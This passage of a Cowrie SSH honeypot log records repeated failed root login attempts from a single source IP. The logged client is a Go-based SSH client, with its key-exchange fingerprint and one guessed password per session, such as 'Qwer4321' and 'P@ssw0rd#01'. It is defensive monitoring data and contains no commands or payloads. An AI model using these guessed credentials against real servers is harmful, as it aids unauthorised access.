a-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:27.984214Z","src_ip":"60.165.124.241","session":"cea831f4ea02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ym123456","message":"login attempt [root/Ym123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:29.360566Z","src_ip":"60.165.124.241","session":"cea831f4ea02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:30.605781Z","src_ip":"60.165.124.241","session":"cea831f4ea02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45638,"dst_ip":"10.17.0.5","dst_port":22,"session":"50713c3c5a7e","protocol":"ssh","message":"New connection: 60.165.124.241:45638 (10.17.0.5:22) [session: 50713c3c5a7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:30.844278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:30.849359Z","src_ip":"60.165.124.241","session":"50713c3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:31.092007Z","src_ip":"60.165.124.241","session":"50713c3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234!@#$","message":"login attempt [root/qwer1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:32.072826Z","src_ip":"60.165.124.241","session":"50713c3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:33.322496Z","src_ip":"60.165.124.241","session":"50713c3c5a7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48746,"dst_ip":"10.17.0.5","dst_port":22,"session":"2254df59c27c","protocol":"ssh","message":"New connection: 60.165.124.241:48746 (10.17.0.5:22) [session: 2254df59c27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:33.554439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:33.558527Z","src_ip":"60.165.124.241","session":"2254df59c27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:34.481872Z","src_ip":"60.165.124.241","session":"2254df59c27c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lo123456","message":"login attempt [root/Lo123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:35.214152Z","src_ip":"60.165.124.241","session":"2254df59c27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:36.461269Z","src_ip":"60.165.124.241","session":"2254df59c27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52314,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e8e8d68dbac","protocol":"ssh","message":"New connection: 60.165.124.241:52314 (10.17.0.5:22) [session: 2e8e8d68dbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:36.705559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:36.709308Z","src_ip":"60.165.124.241","session":"2e8e8d68dbac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:36.956741Z","src_ip":"60.165.124.241","session":"2e8e8d68dbac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1973","message":"login attempt [root/1973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:37.689547Z","src_ip":"60.165.124.241","session":"2e8e8d68dbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:38.936227Z","src_ip":"60.165.124.241","session":"2e8e8d68dbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55084,"dst_ip":"10.17.0.5","dst_port":22,"session":"affb7dd4d664","protocol":"ssh","message":"New connection: 60.165.124.241:55084 (10.17.0.5:22) [session: affb7dd4d664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:39.175287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:39.180358Z","src_ip":"60.165.124.241","session":"affb7dd4d664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:39.425109Z","src_ip":"60.165.124.241","session":"affb7dd4d664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!234Qwer","message":"login attempt [root/!234Qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:40.169284Z","src_ip":"60.165.124.241","session":"affb7dd4d664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:41.413420Z","src_ip":"60.165.124.241","session":"affb7dd4d664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58082,"dst_ip":"10.17.0.5","dst_port":22,"session":"c60761c91094","protocol":"ssh","message":"New connection: 60.165.124.241:58082 (10.17.0.5:22) [session: c60761c91094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:41.657524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:41.662038Z","src_ip":"60.165.124.241","session":"c60761c91094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:41.909159Z","src_ip":"60.165.124.241","session":"c60761c91094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skydive","message":"login attempt [root/skydive] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:42.656049Z","src_ip":"60.165.124.241","session":"c60761c91094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:43.905071Z","src_ip":"60.165.124.241","session":"c60761c91094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60874,"dst_ip":"10.17.0.5","dst_port":22,"session":"042716c451fc","protocol":"ssh","message":"New connection: 60.165.124.241:60874 (10.17.0.5:22) [session: 042716c451fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:44.148349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:44.152902Z","src_ip":"60.165.124.241","session":"042716c451fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:44.398398Z","src_ip":"60.165.124.241","session":"042716c451fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"element","message":"login attempt [root/element] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:45.131986Z","src_ip":"60.165.124.241","session":"042716c451fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:46.373784Z","src_ip":"60.165.124.241","session":"042716c451fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35348,"dst_ip":"10.17.0.5","dst_port":22,"session":"e129f2201d7f","protocol":"ssh","message":"New connection: 60.165.124.241:35348 (10.17.0.5:22) [session: e129f2201d7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:46.604807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:46.609371Z","src_ip":"60.165.124.241","session":"e129f2201d7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:46.846536Z","src_ip":"60.165.124.241","session":"e129f2201d7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd#01","message":"login attempt [root/P@ssw0rd#01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:47.578153Z","src_ip":"60.165.124.241","session":"e129f2201d7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:48.847233Z","src_ip":"60.165.124.241","session":"e129f2201d7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38290,"dst_ip":"10.17.0.5","dst_port":22,"session":"8474741fe7f3","protocol":"ssh","message":"New connection: 60.165.124.241:38290 (10.17.0.5:22) [session: 8474741fe7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:49.098564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:49.102891Z","src_ip":"60.165.124.241","session":"8474741fe7f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:49.341716Z","src_ip":"60.165.124.241","session":"8474741fe7f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer4321","message":"login attempt [root/Qwer4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:50.091107Z","src_ip":"60.165.124.241","session":"8474741fe7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:51.347021Z","src_ip":"60.165.124.241","session":"8474741fe7f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41080,"dst_ip":"10.17.0.5","dst_port":22,"session":"65578bb5284f","protocol":"ssh","message":"New connection: 60.165.124.241:41080 (10.17.0.5:22) [session: 65578bb5284f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:51.584968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:33:51.589196Z","src_ip":"60.165.124.241","session":"65578bb5284f","protocol":"ssh"}
